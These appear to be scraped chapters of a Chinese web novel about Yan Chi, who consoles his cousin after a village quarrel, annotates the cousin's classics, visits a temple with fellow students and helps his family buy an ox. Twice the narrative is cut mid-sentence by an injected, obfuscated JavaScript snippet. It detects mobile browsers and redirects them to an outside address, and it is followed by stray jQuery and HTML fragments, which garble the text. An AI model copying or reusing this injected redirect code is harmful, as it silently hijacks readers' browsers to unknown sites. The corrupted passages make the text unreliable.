何二郎嘴角一抽，低斥：“闭嘴。” 何小哥儿嘴巴一瘪，委屈道：“你凶我，我要告诉娘。”他提着红灯笼噔噔噔想跑走，何大手一拎，就把小儿子提起来了，红灯笼摇摇晃晃，映的人影也跟着晃，于寂静巷中幽冷诡异。 何大拿过灯笼亲自提着，一切恢复如初，这才松了口气。 至家处，晏迟谢过何家人，带着晏宏临进院。 沈氏烧了热水，给晏宏临煮了一碗糖水鸡蛋。 晏迟径直将晏宏临带进东厢房，沈氏跟着将鸡蛋送进去，一步三回头离去。 四方桌上，蜡烛烈烈燃烧，晏迟温声道：“天冷，快趁热吃罢。” 晏宏临始终低着头，不言不语，晏迟又唤了他一声，晏宏临才缓缓动筷。 “啪嗒——” 蜡烛芯子传来轻微的爆裂声，呜咽声起，轻而短促，渐渐地，晏宏临的泪珠如线砸落在蛋碗中，溅起圈圈涟漪。圈圈连着圈圈，混乱无序。 “……我，我不该来找你的。”晏宏临握紧了筷子，因为太过用力，指甲泛着白。 “可是……” 晏迟握住他的手，少年人的手冷的像铁，晏迟心中生怜，握的更紧些：“你我兄弟，合该守望相助，倘若我遇事，不去寻你，该去寻谁呢。” 晏宏临稍稍止住的泪意顿时决堤，双肩颤抖，他几乎是从齿缝间挤出话，带着不甘委屈：“是！我的确想在常业哥的厂子里谋个活计，我们一家帮着常业哥选址，造窑厂，出钱出力，为着他的窑厂能做起来。可谁知道人家眼里，是我不安好心，算计人家。” 晏迟面色微变，心道果然。 他叹道：“这与我预料中最糟糕的情况差不离。” 晏宏临倏地抬头，眼泪鼻涕糊了满脸，因为太过惊讶，鼻翼翕动，吹出一个鼻涕泡，啪嗒破了。 这一幕有些滑稽，但晏迟实在笑不出来，取了方帕递给晏宏临擦脸。 晏迟问：“你是不是与人说了，你去延盈阁打听瓷器进价，售价的事。” 晏宏临神情有些不自然，垂了眼，当初迟哥儿叮嘱过他，可他没管住嘴。他想跟常业哥表功，他想证明自己有用。 “……事到如今，我也无甚顾忌了。”晏迟与晏宏临掰开了细细讲。 “你与常业哥泛泛之交，他有双亲，有兄弟姊妹，有好友。他同人造厂，他的至亲好友自然会先帮着他。你与他关系隔了一层，上赶着帮忙，你叫人家怎么想？” “……我，我…”晏宏临愣住，他在村子里闹了一场，满腹委屈跑出来，百般自怜，却被迟哥儿一句话问住。 晏宏临涨红了脸，他发现他其实没有自己想的那般纯洁无辜。 晏迟又问：“你可透露过，你想进窑厂干活？” 晏宏临本就涨红的脸更红了，面皮又热又烫，怎么也消不下去。 “常业哥或明确，或委婉的回拒过你没有。”晏迟想起晏宏临有时转不过弯，换了一种问法：“常业哥可否劝你当下好好念书。” 晏宏临陷入回忆，少顷腾地站起身，双目大睁，面皮颤动。 纠结，恍然，难堪，神情几度变化，他的双唇此刻似粘在一处，几次之后才开合，“原来，他是这个意思。我还以为，以为他在鼓励我……” 晏迟：……… 晏迟拉着他的手坐下，晏宏临静默，少顷晏宏临给了自己一巴掌，即将甩自己第二个巴掌时，被晏迟拦住，晏迟气问：“你这是作甚！” “我要打醒我自己！”晏宏临双目圆睁，眼眶里滚落两行泪，“我怎么能蠢成这个样子，还连累我家都变成笑话。”他到底只有十二岁，自尊心碎了一地，再也承受不住的嚎啕大哭，“我怎么这么蠢，真是个猪脑子，我真没脸见人了……” 晏迟由着他哭，哭出来就好了。 沈氏在正屋听着东厢房动静，急不可耐，坐立难安。 一刻钟后，厢房的哭声止了。 沈氏愈发急了，她实在坐不住，轻手轻脚出屋，去小厨房又煮了两碗鸡蛋面，敲响厢房的门。 晏宏临赶紧躲去角落里，晏迟开门接了面，宽慰他娘：“没事了，娘快去歇息罢。” 沈氏欲言又止，最后还是没开口问，回了正屋。 晏迟唤晏宏临，“快过来吃面。我都饿了。” 说罢，晏迟握着筷子吃起来，“我娘做的煎蛋面很好吃，你尝尝。” 家里没有青菜，乳白面条上卧了一个金灿灿的煎蛋，葱花点缀，勉强有些卖相。 晏宏临吃了一口，舌尖尝到味道，勾起馋虫，腹部也大唱空城计，他大口大口吃起来。 吃饱喝足，晏迟收拾空碗去厨房，晏宏临不好意思的跟在他身后。晏迟打了热水，让晏宏临洗漱。他去洗碗。 一通折腾，两人躺床上已是三更天。 晏宏临的情绪平复，橙黄色的烛火映着厢房，他觉出温馨。 “……今日傍晚，我本是去常业哥的家，看看有什么自己帮得上忙的，但是看见常业哥的大姐夫进了门，没关院门……” 晏迟静静听着。 晏宏临闭了闭眼，好一会儿才继续，“常业哥的大姐夫同许伯娘问好，谁知几句之后，他们两人开始数落我，还道我一家心思恶毒，明着帮忙，实则想撬了常业哥的窑厂，据为己有。” 乡下人家说土话，骂的难听，晏宏临不愿脏了迟哥儿的耳朵。 晏宏临哪受得住自家人被辱骂，当下就闹开了。村里人听见动静出来看热闹，晏常业的大姐夫激晏宏临，道晏宏临是做贼心虚，恼羞成怒。 晏宏临当下起誓，他往后若去晏常业的窑厂，天打雷劈，不得好死。 “我只觉太难堪，立了毒誓就跑了，一路出村。天晚了，我看不清路，摔了好些跟头，凭着直觉找到县里来。”晏宏临的声音低下去，“临了了，我又不敢面对你，生了退意。你再晚来一刻，我就走开了。” 晏迟心说，幸好自个儿赶上了。否则县里宵禁，晏宏临被衙门逮住，有的苦头吃。 晏迟半坐起身。晏宏临也跟着坐起来，疑惑：“迟哥儿？” “吃太撑了，坐起来缓缓。”晏迟问：“你家出钱出力是怎么回事？” “那个啊……”晏宏临眼神发飘，气弱道：“常业哥与人合伙造窑厂，他家也不宽裕，估摸着缺钱。我又想谋活计，有求于人，所以我家主动提出借他五两银子。原是要借十两的，常业哥没应，他说他那边不缺钱。” 晏迟点点头，窑厂重技术，旁的都是次的。晏常业当了五年学徒，加上自己天赋，才算学成了。 搁现代说，人家一潜力股，谁都想投资。 “钱什么古？”晏宏临不解。 晏迟才觉刚才道出心中所想，解释道：“聚宝盆。” 晏宏临懂了。 他这会子冷静下来，回想种种，终于觉出自己不妥。 “迟哥儿，是我错了，我不该投机取巧。” 晏迟宽慰他，“人为自己博一个未来没有错，谁不想过好日子？你只是没有看清局势罢了。” “迟哥儿，如果我有你一半周全就好了，”晏宏临抱着自己脑袋，颓废揉搓，“我就是觉着，对不住家里人，我让人看尽了笑话，还偏偏是我活该。” 他倒在床上，双目紧闭，整个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668433|173033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜷缩成一团，难受坏了。 晏迟劝道：“人活一世，总有一二纰漏，哪能尽善尽美。” 晏宏临不语。 晏迟拍拍他胳膊，“明儿我也要去村里给族里长辈拜年，正好同你一道回村。” 晏宏临睁开眼睛。 晏迟看着他眼睛，眉眼温和，谆谆善诱，“临哥，你应该庆幸。你才十二岁，有个偏颇，可以及时修正。往后引以为鉴，凡事多思多想，一生受益无穷。你说是不是。” 晏宏临想想是这么个理儿，心里也没那么难受了。 他重新半坐起身，握住晏迟的手，由衷道：“迟哥儿，你真好。真的。” 晏迟笑笑，“临哥也好，在我心里，临哥热忱，心善。哪哪儿都好。” 晏宏临面皮微烫，被夸的羞，“我哪有那么好，睡觉了。” 他急急吹灭蜡烛，倒头睡下，一夜好眠。却不知家里找他都急坏了。 次日，晏迟乘坐何大的骡车，带着年礼回村，刚出城门就遇上一脸憔悴的老郑氏和晏大郎。 晏宏临脖子一缩，从骡车跳下去，不等晏大郎呵斥，他就跪下认错，“爹，阿婆，我知错了。这件事一开始就是我猪油蒙心，我初心错了，之后才步步错。” 晏大郎举着手，半天没落下去，老郑氏抱着孙儿，眼眶湿润，“…临哥儿，好孩子……” 晏迟下车，向老郑氏和晏大郎行礼，“昨夜天晚，逢宵禁，才没有请人通知村里，还望阿婆和叔叔见谅。” 晏大郎看向晏迟，哑声道：“迟哥儿，多谢你，临哥儿给你添麻烦了。” 晏迟道：“自家兄弟，哪有什么麻不麻烦。” 这话说的晏大郎和老郑氏鼻头一酸，老郑氏差点落了泪，晏迟赶紧岔开话题：“临近年关，进城人多，莫让人瞧热闹了。” “是，是。”晏大郎应道，只他心里对长子还存着恼，喝道：“还不起来！” “孩子无事就好，你发的甚脾气。”老郑氏呵斥儿子，转头又慈祥的对晏迟道：“昨夜临哥儿从村里跑走，我们找他许久，把家里人吓坏了。” “最后还是我说，临哥儿八成进城找你去，家里人才勉强按捺住。” 晏迟应和，他扶着老郑氏上骡车，晏宏临爬上他爹赶来的牛车。 晏大郎见长子一身崭新天青色绣梧桐镶蓝领棉衣，同色棉裤，脚踩黑绸白底布鞋。衣裳不余不紧，一看就是比着长子的尺寸做的。 晏大郎摸了一把袖子，手底软和，知晓里面塞足了棉花，晏宏临也摸着袖子笑，“伯娘给的。” 他本来不好意思要，但实在盛情难却。 ”迟哥儿夸我穿着精神，好看。”晏宏临笑容明媚，不复昨日阴霾。 晏大郎也笑了，胡乱揉了一把儿子的脑袋，“憨小子，往后跟迟哥儿好好的。” “嗯嗯，我晓得。”晏宏临立刻应道。 骡车内，老郑氏也给晏迟交了底，“这事我们确实存了私心，想着临哥儿跟常业是族兄弟，知根知底，若是临哥儿在窑厂谋个活计，也省得去外面吃罪，未来有个保障……” 老郑氏想起昨晚闹剧，面皮臊得慌，“……活了半辈子，忽地就糊涂了，让你看笑话。” “阿婆也是为着临哥，关心太过，才当局者迷。”晏迟将昨晚安慰晏宏临的话，又拿出来安慰老郑氏，“临哥年岁轻，往后还有无限可能。” 老郑氏握着晏迟的手，百般言语化为一声道谢，拍了拍晏迟的手背。 半个时辰后，一行人至长谷村村口，晏迟从骡车内拿下年礼，与何大挥别。 他们一进村，就有人喊：“临哥儿找着了，找着了。” 十来名男女老少围上来，打头的是一名靛青色棉袍青年，神色愧疚，“临哥儿，昨晚的事，是我对不住你。” 晏宏临摇摇头，正色道：“常业哥，你没有对不起我，这事真论起来，是我不是。” 他像模像样一礼，晏常业赶紧扶住他，晏宏临又道：“要说算计你，我是不认的。但我确实有私心，我想跟着你干，想去你的窑厂谋个活计。但我考虑不周，忘了你也是跟人合伙，你有你的难处。” 晏常业心头难受，“临哥儿，你别这样说，我……” 晏宏临笑笑，转了话题，“我就是念书太少，往后还是要多念书，多学学才好。” “临小子说的是。”晏族长威严的声音从人后传来，众人往两边退开，让出一条路，晏族长道：“半大小子就该好好念书，别琢磨有的没的。” 他又警告其他族人，“常业好不容易才学门手艺，你们别乱起哄。” 原本想跟着晏常业谋活计的人都歇了心思。晏常业松口气之余，又有些莫名的失落。 晏族长看向晏迟，缓了神色，“是游小子家的迟哥儿？” 晏迟恭敬行礼。晏族长笑道：“好些年不见，长这么大了，真是个俊后生。” 晏迟带着年礼去族长家，坐着说了会子话，表达这些年对族里帮扶他们母子的感激。随后晏迟又向晏氏一族挨家挨户送了年礼。 至午时，晏迟在族长家用过午饭，又去晏宏临家里坐了坐。 晏宏临十分热情，端点心奉茶果，老郑氏夫妇并不将晏迟作小儿看待。 昨晚临哥儿气成那个样子，不管不顾的，去了县里一趟，人清醒了不说，还懂事了。 晏宏临一回来就向晏常业道歉，剖白自己的小心思，看似舍了脸面，其实才是真正拾回脸面。 坦坦荡荡认错，总会让人高看一眼。 14. 注解 堂屋内，众人说着话，晏迟垂了眼皮，面现倦意。 老郑氏立刻让晏宏临带晏迟去东厢房歇息，晏迟拱手道：“让阿婆见笑了。” “哪里见笑的。好孩子，快去歇歇。”老郑氏心疼催促道。 两个小子离开堂屋，老郑氏懊恼的拍脑门，“我真是粗心。昨晚临哥儿打扰，肯定让迟哥儿费心了，今日一大早迟哥儿又奔波，定然很累了。” 她心下对晏迟感激又愧疚，让儿子儿媳捉了鸡鸭，收拾出来。 晏宏临带着晏迟入东厢房，共三开间，晏大郎夫妇带着小女儿居明间，晏宏临和弟弟分居暗间，明间和暗间仅一道竹帘隔开。 晏宏临面皮微红，“屋子小，但床被都是才洗过的。” 晏迟环视四下，屋内一张床，床尾箱笼，收纳四季衣裳，床头一个木柜，屋子对着院内开窗，临窗一张书桌。 晏迟道：“临哥，你念学的书能否给我瞧瞧。” “啊？”晏宏临慢半拍回神，“可…可以。” 他把床头木柜打开，笔墨书籍稀稀落落垒了大半。 晏迟拿一本《中庸》，在书桌旁落座，翻来瞧。 晏宏临欲言又止，仿佛置身被夫子抽查课业背诵的瞬间，但眼前人不是严厉的夫子。晏宏临挠了挠脸，又抬手摸后脖颈，颇不自在。 晏迟合上《中庸》，又翻开《诗经》，《论语》《孝经》等书也看了看，眉头微蹙，晏宏临一颗心提起来，磕磕巴巴问：“……迟哥儿，怎…怎么了。” “你的书太干净，没几处注解。”晏迟道。 “我有。”晏宏临又去木柜里翻找，好一会儿拿出一个手工逢制的本子，给晏迟瞧。 翻开第一页，晏迟就看见两处错误，翻页，再次翻页。 他合上本子。 晏宏临气弱：“迟哥儿……” 晏迟仰首问他，“临哥，你之后是要念书罢？” 晏宏临脸上闪过纠结，还是点了点头，“虽然我念书不好，但多学几年，总不会坏处。” 村塾的束脩不贵，他家供他念书没甚压力，他下面的弟弟妹妹到年纪，也会去村塾。 晏迟又问：“那你想认真念是不想？” “想啊，我当然想的！”晏宏临急忙道，神情恳切，“我真是恨不得把书里的东西都塞进我脑子里，再疼再苦也不怕，以后再不做蠢事。” 晏迟与他四目相对，看进晏宏临的眼底，见晏宏临眼神坚定，晏迟起身让出位置，“你坐下。” 晏迟取来笔墨，一边磨墨，一边翻开本子第一页，“我说，你改。” 晏宏临：？？？ 晏宏临：！！！ “改什么？”窗前冒出一个毛茸茸小脑袋，明亮双眼中溢出天真稚气。 “！！！”晏宏临差点蹦起来，“晏宏信，你怎的偷听我们说话。” “我没有偷听。”晏宏信看向晏迟，偏了偏小脑袋，认真道：“迟哥哥，我原是在院里玩，听见这边有声音，就过来了。” 晏宏临尴尬道：“你换个地方玩。” 晏宏信不肯走，晏宏临更尴尬了，晏迟笑笑，“不妨事，墨磨好了，改罢。” 晏宏临应声。 申时四刻，晏迟拿走晏宏临的《论语》《大学》，叫晏宏临年后来取。随即，他向晏家长辈提出告辞。 老郑氏说什么也不允，好说歹说，让晏迟留至申时六刻用过晚饭，晏大郎借牛车，送他回城。 板车上堆着核桃、板栗、大米、红枣等回礼，晏大郎笑问：“迟哥儿可坐稳了？” 晏迟应声，晏大郎一甩牛鞭，在晏家人目送中，车子行远了。 路上遇见正往村赶的村民，晏大郎与人招呼，提一嘴晏迟，“迟哥儿回村给长辈拜年呢。” 村人不知晏迟，但仍是附和着夸一句“孝顺孩子”。 碰见熟人，对方还打趣晏大郎借的谁家牛车云云。晏迟静静听着。 待熟人远去，晏大郎不好意思的笑：“家里也想买牛，耕地出行都方便，只是不凑巧，没遇上好的。” “前两年我们也去牛市瞧了，都是人家挑剩下的，看着不大精神，我们怕砸手里，就没敢买。” 晏大郎说者无心，晏迟心里转过一个念头，按下不表。 小半个时辰后，牛车入城，一路驶入丰家巷巷口。 晏大郎帮着晏迟将族人的回礼搬至院门处，并不进院，隔着院门与沈氏打声招呼就离去了。 院内，母子二人清点东西，除却大米核桃这种放得住的，郑阿婆宰了鸡鸭，收拾的干净，让晏迟带回。 等两人忙活完，天色已经暗了，沈氏煮了两碗面条。饭后，她忍不住问起昨晚的事。 晏迟长话短说，与她讲个大概。 沈氏沉默，少顷叹道：“怪道临哥儿昨晚哭的伤心。” 她想起什么，眉眼淡了，“什么凑巧撞上，估摸是引着临哥儿发现，唯恐临哥儿不上钩，扯其家人，故意激怒临哥儿。” 晏迟不语，默认他娘的话。 母子俩又说一会子话，各自回屋歇息。 夜色深深终退，日出东方，骄阳似火。随着大年逼近，县里愈发热闹。 晏家小院却是少见的清幽，隔壁与沈氏来往颇多的孙娘子一家回了村，何家小哥儿的哭闹声也止了，沈氏还有些不习惯。 晏迟笑道：“娘清静几日，年后何小哥儿回来，又与他二哥哥吵吵闹闹，越墙而来，娘不知欢喜热闹，还是无奈了。” 沈氏柳眉一竖，嗔怒道：“坏小子，也打趣起你娘来了。” 晏迟连连告饶，拱手赔不是。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668434|173033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一瞬间，少年含笑行礼的模样与青年重合，令沈氏怔了怔。很快沈氏回过神来，强做镇定：“罚你描五张大字。” 晏迟没有不应。 这几日天色晴朗，晏迟将书桌搬至院中念书习字。 沈氏见他一张书桌，在厢房和院里搬进搬出的麻烦，午饭时与儿子道：“翻年把西厢房收拾出来，给你做书房。” 晏迟应好，又道：“娘，我屋里的书桌不动。” 沈氏应下。 大年三十，晏迟早早去酒楼叫了一桌席面，晚上作年夜饭。饭后他同他娘一道儿守岁，这个年就过去了。 年后初六，孙娘子一家才回，一并的还有孙娘子的长女和女婿。 晏迟从外面回来，正好碰着。双方打过招呼。 待晏迟进了院，何姑娘和阿娘说起晏迟，几年不见，晏家小哥儿长的愈发好了。 孙娘子笑道：“迟哥儿不止长的好，念书也好。”话落，她感慨道：“沈妹妹虽是年纪轻轻守了寡，膝下仅一子，但儿子聪慧俊秀，周全有礼，往后差不了。沈妹妹的福气，在后头啊。” 午后，晏家院门被叩响，晏迟打开院门，晏宏临还穿着沈氏送他的棉衣，身背包袱，腼腆笑着，“迟哥儿，你之前让我今日来取书，我来了。” 晏迟迎他进花厅，“我娘出门买针线，不在家。” 晏宏临点点头，把身后包袱搁茶几上。 晏迟进小厨房，给晏宏临沏了一杯红茶，配着点心，“你润润口，稍坐。” 晏迟折回东厢房拿书，递给晏宏临。 晏宏临虽有猜测，但翻开书看，还是惊了一跳，每页都有大量注解，排版分明，楷体秀美。 晏迟道：“你结合注解，试着通瞧一遍文章，可还觉晦涩？” 晏宏临照做，一本《大学》通看下来，犹如拨雾看山，从未有过的分明。 他激动的捧着书，语无伦次：“迟哥儿，我，你……”他上前拥住晏迟，紧了紧，“迟哥儿，谢谢你。” 晏迟笑道：“能有一二帮助就好。” “有的有的，太有了。”晏宏临抱着两本书如获至宝，激动的在院里跑了三圈，惊的母鸡直扑棱，若非笼子关着，恨不得给他叨几下。 待晏宏临冷静了，晏迟才问：“你把《孟子》带来否。” 晏宏临连连点头，打开茶几上的包袱，取出《孟子》，却没有立刻把书给晏迟，他迟疑：“...…迟哥儿，这太麻烦你了。” 晏迟道：“不麻烦，我注解也是温习了。若你心中过意不去，就把我写的注解多瞧几遍，多看文章。” “我肯定翻来覆去瞧！”晏宏临神情激动，恨不得指天发誓，以证己心。 晏迟不用他发誓，只朝他伸出手，“我相信临哥。所以，把书给我罢。” 15. 文昌庙 初七一早，晏家母子用过饭，沈氏于花厅刺绣，晏迟一身雪色兔袄，端坐院中练字。 斜斜的日光洒落，少年白净镀光晕，似美玉生辉。 “迟哥儿……”院外传来唤声，伴着铜质门环叩响院门。 晏迟同他娘对视一眼，搁了笔，沈氏将针线篓子拿回正屋，晏迟开院门，既惊且喜：“青哥？” 他看向严汝青身后的严汝中、程沅嘉、严抱贞等人，拱手一礼。 几人透过院门，遥遥向沈氏见礼，这才向晏迟回礼。 严汝青单手叉腰道：“阿兄他们即将县试，我娘说让我们去文昌庙祈福。” 他还未至变声期，离了严举人身边，有少年人的活泼天性，言语轻快雀跃，犹似咬了一口青翠欲滴的嫩瓜，又脆又响。 严抱贞一身靛青色圆领绸袍，笑眯眯打开折扇，接茬：“正好顺路，来唤你一唤，不知迟哥儿功课可做完了，今日是否有空？” 文昌庙在县南，周边多书肆文玩，严家居东城，倘若去文昌庙，更近些。偏要绕一趟西城，哪里顺路，分明是特意来寻他的。 “有的。”晏迟立刻应下，“师兄们稍等片刻。” 他回厢房拿了碎银，与他娘知会一声，与严汝青等人离去。 隔壁的何小哥儿从院墙探出脑袋，目送一行人远去，孙娘子柳眉倒竖，“你给我下来！” 何小哥儿浑身一哆嗦，麻溜从垒着的凳子上落地，飞快道：“迟哥儿要参加县试。” 孙娘子一愣，“不能罢…迟哥儿才去严家半年。” 若晏迟在此，定道一句，胡乱传谣要不得。 可惜他不知。 晏迟跟着出巷，巷口两辆马车，严汝中与程沅嘉、严抱贞同乘。 晏迟与严汝青同乘。 车轮滚滚行过青砖地面，严汝青与晏迟对坐，中间搁一张红木小几，他给晏迟倒茶，说着过年间的趣事。 晏迟也道回村给长辈拜年，隐去晏宏临之事。 闲谈间，马车行至庙前。 文昌庙不似一般庙宇居山间，而是处于县城中，他们在牌楼前下车，车夫将马车赶去，免得堵了入口。 严汝中抬头看着牌楼，青石为基，红柱相拱，黛瓦出檐下，乌底金字：文昌庙。 其字遒劲有力，笔力雄健，是端庄工整的楷体，却极似隶书。若不细瞧，真要被唬过去。 晏迟仰首望着，每一次瞧，都有不同感悟。 严汝中道：“此乃开国之初的县尊题字。数百年过去，仍见当年气势。” 众人观摩字体，各有所悟。一盏茶后又有香客行来，几人不再逗留，穿过牌楼，向庙宇而去。 牌楼之后是长长街道，左右红墙黛瓦，隔绝商铺和民居，约摸五十步，见庙宇大门。 前殿所供弥勒佛，手持布袋，挺着大肚，满脸笑容，慈祥面众生。 一行人入殿，双手合十一礼，弥勒佛左右供着四大天王，严汝青好奇张望，僧人低声提醒，“施主莫要直视神像。” 严汝青立刻垂了眼，行礼告罪。 随后他们穿过前殿，直奔正殿的文昌帝君而去。 严汝中收敛笑意，肃了脸色，领着严抱贞和程沅嘉向文昌帝君双手合十，阖目低语。 晏迟在一旁瞧着，有些新奇，或许几年后，他也会如此。 少顷，严汝中睁开眼，三人捐了香油钱，又去后殿拜药师佛，为家人祈福。 适时，逢主持于讲经阁讲法，严汝中一行人进殿倾听，晏迟不感兴趣，在后院闲逛。 文昌庙占地颇大，除却三大殿，三殿右方设有藏经楼，讲经阁，禅房。后方大块地挖空，生凿了一个池塘，筑有凉亭，池塘犹如天然屏障，将男女香客分隔。 这会子有些热了，晏迟沿着游廊行走，漏窗花样繁多，透过福字嵌海棠花纹漏窗望去，腊梅盛开，香气盈盈。 又几步，于拟月纹漏窗中见老藤嶙峋，花木伶仃，还不及萧瑟顿生。贝叶龙纹漏窗中，春兰盛开，一片勃勃生机。 晏迟兴味盎然，倏地前方隔断，一切戛然而止。 又蜿蜒小路向池塘而去，真是山重水复疑无路，柳暗花明又一村。 晏迟忍不住笑了一下，赞叹设计者的巧思，短短时间他心绪几番变化，脚踩条石至湖心亭。 四角飞檐，檐下铁马静立。凉亭两侧锦帛垂落，墨迹行上。或行书，或草书，或楷体。 亭内石桌置放笔墨，再瞧锦帛，晏迟了然。 原是“留言牌”，供庙内香客彼此交流。 晏迟没有交流的欲望，抬脚欲走，一阵清风拂面，耳畔铁马骤响，锦帛微微摆动，一行清丽灵秀的簪花小楷入他眼中。 “世事多变，岁月蹉跎，本无意哉。” 他近来练字颇有体悟，顿时被这小楷惊艳。再细瞧，却见字体略有稚嫩。 这样轻的年岁，因何愁苦。 风停，锦帛回落，晏迟却不走了。 他再次咀嚼锦帛上的字，想来主人也是存疑，迷茫。 日光大盛，水面蕴光。 晏迟回过神来，已经提笔书就：世无意义，皆系己心。 晏迟收了笔，笑自己煲心灵鸡汤。 他想划去留言，但提笔迟迟不落，最后还是没有划去。 晏迟回到后殿，正好碰见听经结束的严汝青几人，严汝青抓着晏迟的手，强力推荐：“午时了，文昌庙的斋饭一绝，你尝尝。” 晏迟笑应。 一行围坐圆桌，严抱贞问：“迟哥儿作甚去了。” “后院池塘逛了逛。”晏迟赧然道：“我不好佛理，坐不住。” 严汝中咽下食物，随意道：“我也不好。” 晏迟：？？？ 当时是严汝中第一个提议听经的。 大概晏迟脸上疑惑太明显，严汝中一本正经道：“我这是知己知彼。” 严汝青低声劝，“阿兄，你小声些，咱们在佛家地盘。” 严汝中敷衍应着。 严汝青：……… 严抱贞给晏迟和程沅嘉解惑，“汝中哥信道。” 严汝中矜持颔首：“然也。所谓，道法自然。” 晏迟想了想，“禅宗提倡随缘任运，倒有相似之处。” 严汝中问：“禅宗典籍《五灯会元》记载，‘放下屠刀立地成佛’，如何。” 严抱贞，程沅嘉进食止了。严抱贞一双眼睛在严汝中和晏迟之间徘徊。 严汝青张口道：“阿兄……” “我没问你。”严汝中斜乜他一眼。 严汝青不服气的闭嘴。 晏迟想了想，反问，“汝中哥是如何想的。” 严汝中唇角轻扯，不咸不淡道：“放下屠刀就揭过错处，谁还做善人。” 晏迟不答，问，“若如此，不设 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晏迟愣住，细问之下，才知孙娘子下午过门话家常，说起这事。 晏迟啼笑皆非：“何小哥儿听错了，不是我参加县试，是汝中哥参加县试。” 沈氏松了口气，她就说嘛。 晏迟去小厨房打水洗漱，一夜无梦，次日一早他乘坐骡车，前往严家念学。 讲室内仅有晏迟和严汝青二人，严汝青道：“贞哥和嘉哥去我阿兄院里了。” 晏迟点点头。 转眼二月，严抱贞他们三人寻另外两位考生互结，参加县试。 严举人照常为晏迟和严汝青授课，但严汝青心不在焉，被严举人罚了大字。 私下严汝青拉着晏迟的手道，“迟哥儿，我好紧张。” 晏迟拍拍他的手，安慰：“只是县试，汝中哥他们肯定能过。” 县试分正场和复场，除第一场正场，剩下复场考三场还是四场，全看县尊心意。 严汝中他们考了四天，县试之后，严汝中该吃吃，该喝喝，严汝青和章大娘子却是食不知味，辗转难眠。 不怪他们“小题大做”。实因朝廷为平衡各地势力，限定各地功名名额。东南一代文风盛，只能优中择优。一般考题择不出人杰，于是乎，考官变着法儿刁难人。 待东南考生熬过县试、府试、院试，才发现秋闱，春闱、根本没有预料的难。 为此好些东南子弟铤而走险，顶着重刑风险，冒籍科考，堪称古代版高考移民。 十日后，衙门放榜，严汝中位居榜首，程沅嘉紧跟其后，严抱贞差了些，位居第十。 晏迟诧异，他没想到严抱贞和程沅嘉之间差了好几个名次，意味着这名次之间的考生，实力都在伯仲之间，追的很紧。 四月初七，严汝中，严抱贞和程沅嘉三人动身前往府城，参加府试。 沈氏也问起此事，由衷道：“希望汝中他们都能考中。” 晏迟附和。但心里却生隐忧，三人实力不俗，抱贞师兄略次，但也只是相对汝中哥和沅嘉师兄。应该都能考上罢。 四月二十五，严汝中他们归来，严汝中虽还是笑模样，但眉眼之间隐现沉重，并不似表面举重若轻。 晏迟受严汝中等人影响，一颗心也悬着。 此时，贺少东家来寻晏迟，牛贩子抵县了。 16. 买牛 天边晚霞艳丽，映着晏迟面上的惊讶，转瞬恢复如常，晏迟从骡车下来，向马车内的贺少东家拱手道谢。 贺少东家避让不受。 “天色不早了，迟哥儿快回罢。” 晏迟应声，又问：“不知过两日少东家有空否？” 贺少东家笑应，“我在绣庄。” 双方分别，何大赶着骡车离去，他道：“贺少东家特意等着你呢。” 晏迟点点头。 晏迟与寡母相依为命，寡妇门前是非多。贺少东家避嫌，免得给晏家母子惹来口舌是非，是以在晏迟散学路上等着。 骡车沿着长街向西，然而前方岔路口，晏迟叫住何大，骡车拐了个弯，折回严家。 严家书房，严举人皱眉：“你要请假？” 晏迟垂首：“学生有一件要紧的事。” 严举人眉头皱的更深，定定盯着晏迟，书房寂静无声，许久传来严举人沉声，“临三张大字。” 晏迟：“是，先生。” 次日一早，晏迟一身半旧灰色短打，乘坐何大的骡车，赶去长谷村传信。 老郑氏一家惊喜交加，对晏迟连连道谢，何大笑道：“快上车，去的越早，挑的牛越好。 老郑氏夫妇顾不得别的，同晏迟上车，往县里赶。 牛贩子在北门，骡车入了西门，直奔北城而去，还未靠近，空气中传来牲畜的腥臊味。 待下了车，味道直冲脑门，老郑氏夫妇顾不得臭，在牛市上挨个看去。 或是掰开牛的牙口，翻翻牛耳牛蹄，瞧牛吃草，从各方面观察牛的性情。 牛市不止卖牛，还卖驴，骡，马。 晏迟也在牲畜中穿梭，询问牲畜价格，牛贩子看他一个半大少年，不怎么搭理他，随意说了一个市价。 晏迟心里有了数，又观马匹多是矮壮，并不如何漂亮神气。然而这样一匹矮脚马，也得三四十两银子一匹。 随着日头攀升，气温也高了，牲畜皮脂的分泌味，混杂草料，粪水，杂糅出一种难以言喻的味道。 何大受不住，退至边上。 晏迟神情不变，他在牛市来回逛了两圈，同牛贩子攀谈，一些不搭理他，一些觉得晏迟挺有意思，愿意同他说两句。 而老郑氏夫妇看中一头小牛，七个月大，老俩口蹲在牛后观察粪便，头抵头商量。 未时四刻，老两口有了决定，与牛贩子一通讨价还价，最后以十四两银子成交，双方签订契约，衙门公证。 一通忙活，几人身上都带了味，老郑氏摸着小牛脑袋，笑容满面。 少顷，她收了手，在身上擦擦，才对晏迟道：“迟哥儿，今日真是麻烦你了。” “不麻烦。”晏迟摇摇头。 这会子已至申时，日头正烈，晏迟邀请二老去晏家小院歇歇脚。 老郑氏夫妇对视一眼，随后道：“这就打扰了。” 晏迟在茶仁馆叫了饭菜，送至家里，邀请何大一道用饭，今日麻烦他了。 何大颇为受用。 